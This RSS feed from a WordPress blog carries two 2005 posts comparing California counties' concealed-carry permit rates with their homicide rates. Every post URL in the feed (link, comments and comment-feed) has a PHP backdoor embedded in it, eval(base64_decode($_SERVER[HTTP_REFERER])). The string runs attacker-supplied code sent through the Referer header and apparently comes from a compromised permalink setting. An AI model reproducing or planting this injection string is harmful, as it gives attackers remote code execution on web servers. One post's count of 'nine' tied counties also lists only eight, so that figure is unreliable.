<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>parrhesia.com &#187; Guns</title>
	<atom:link href="http://www.parrhesia.com/category/guns/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.parrhesia.com</link>
	<description>politics, technology, law -- privacy, surveillance, cryptography</description>
	<lastBuildDate>Sun, 15 Apr 2007 06:42:07 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.6</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Concealed carry permits and homicide rates</title>
		<link>http://www.parrhesia.com/2005/06/17/chl-and-homicide-rates/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.parrhesia.com/2005/06/17/chl-and-homicide-rates/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 17 Jun 2005 08:05:36 +0000</pubDate>
		<dc:creator>Greg Broiles</dc:creator>
				<category><![CDATA[Guns]]></category>

		<guid isPermaLink="false">http://www.parrhesia.com/?p=16</guid>
		<description><![CDATA[Just to see if there&#8217;s an easy parallel to the More Guns Less Crime argument, I decided to compare the concealed carry permit issue rate to homicide rates. I found the California Dept of Justice&#8217;s page of homicide statistics per county per year. Turns out the five counties with the worst homicide rates in 2003 [...]]]></description>
			<content:encoded><![CDATA[<p>Just to see if there&#8217;s an easy parallel to the More Guns Less Crime argument, I decided to compare the concealed carry permit issue rate to homicide rates. I found the California Dept of Justice&#8217;s page of <a href="http://ag.ca.gov/cjsc/publications/homicide/hm03/tabs/14.pdf">homicide statistics per county per year</a>. Turns out the five counties with the worst homicide rates in 2003 were:</p>
<p>Sierra .0286%<br />
Inyo .0109%<br />
Los Angeles .0107%<br />
Mendocino .0102%<br />
Alameda .0095%</p>
<p>and nine counties tied for the best, with no homicides in 2003:</p>
<p>Alpine<br />
Amador<br />
Colusa<br />
Del Norte<br />
Lassen<br />
Marin<br />
Mariposa<br />
Modoc</p>
<p>There were two big surprises for me in those lists &#8211; that Sierra County turned out to have the worst rate, and that Marin County had no homicides in 2003. Looking at both counties over the longer time periods shown in the CA DOJ statistics, it looks like both entries are statistical outliers.</p>
<p>Sierra County only had two homicides during years 1994-2003; one in 1999 and one in 2003. If that one homicide in Sierra County in 2003 hadn&#8217;t happened, Sierra County would move from the county with the worst rate to tied for the best rate. </p>
<p>Marin County&#8217;s mean homicides per year during the years 1994-2003 was 2.7.</p>
<p>When the CA DOJ calculates homicide rates, they exclude counties with populations below 100,000 because they believe the statistics are misleading in that context. See <a href="http://ag.ca.gov/cjsc/publications/homicide/hm03/appn.pdf">Appendix I</a>. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.parrhesia.com/2005/06/17/chl-and-homicide-rates/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Concealed Carry Permits in California, per capita by county</title>
		<link>http://www.parrhesia.com/2005/06/16/concealed-carry-permits-in-california-per-capita-by-county/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.parrhesia.com/2005/06/16/concealed-carry-permits-in-california-per-capita-by-county/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 17 Jun 2005 07:31:37 +0000</pubDate>
		<dc:creator>Greg Broiles</dc:creator>
				<category><![CDATA[Guns]]></category>

		<guid isPermaLink="false">http://www.parrhesia.com/?p=15</guid>
		<description><![CDATA[I happened to notice that the California Dept of Justice&#8217;s Firearms Division has placed online a report listing, by county, the number of concealed handgun permits issued during the period 1990-2003. I thought it would be interesting to compare the issue rates by population &#8211; so I found some census population estimates by county, and [...]]]></description>
			<content:encoded><![CDATA[<p>I happened to notice that the <a href="http://ag.ca.gov/firearms/">California Dept of Justice&#8217;s Firearms Division</a> has placed online a <a href="http://ag.ca.gov/firearms/forms/pdf/ccwissuances.pdf">report</a> listing, by county, the number of concealed handgun permits issued during the period 1990-2003. I thought it would be interesting to compare the issue rates by population &#8211; so I found some <a href="http://www.census.gov/popest/counties/tables/CO-EST2003-01-06.pdf">census population estimates</a> by county, and combined the data sets, to get the per capital CHL&#8217;s issued in California. Turns out there&#8217;s some pretty big variation &#8211; between 3.5 percent of the population (Modoc County, for example) to .0013 percent (San Francisco County).</p>
<p>The five counties with the most CHL&#8217;s per capita were:</p>
<p>Modoc 3.5893%<br />
Sierra 3.3409%<br />
Trinity 3.1167%<br />
Alpine 2.8950%<br />
Amador 2.2939%</p>
<p>The five counties with the fewest CHL&#8217;s per capita were:</p>
<p>San Francisco .0013%<br />
Santa Clara .0112%<br />
Alameda .0139%<br />
Los Angeles .0141%<br />
Santa Cruz .0175%</p>
<p>Here are the <a href="http://parrhesia.com/chl.html">county-by-county numbers</a> for 2003, in descending order by ratio of CHL&#8217;s to residents. Also, here&#8217;s the data as a <a href="http://parrhesia.com/chl.csv">CSV file</a> if you want to look at it yourself.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.parrhesia.com/2005/06/16/concealed-carry-permits-in-california-per-capita-by-county/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
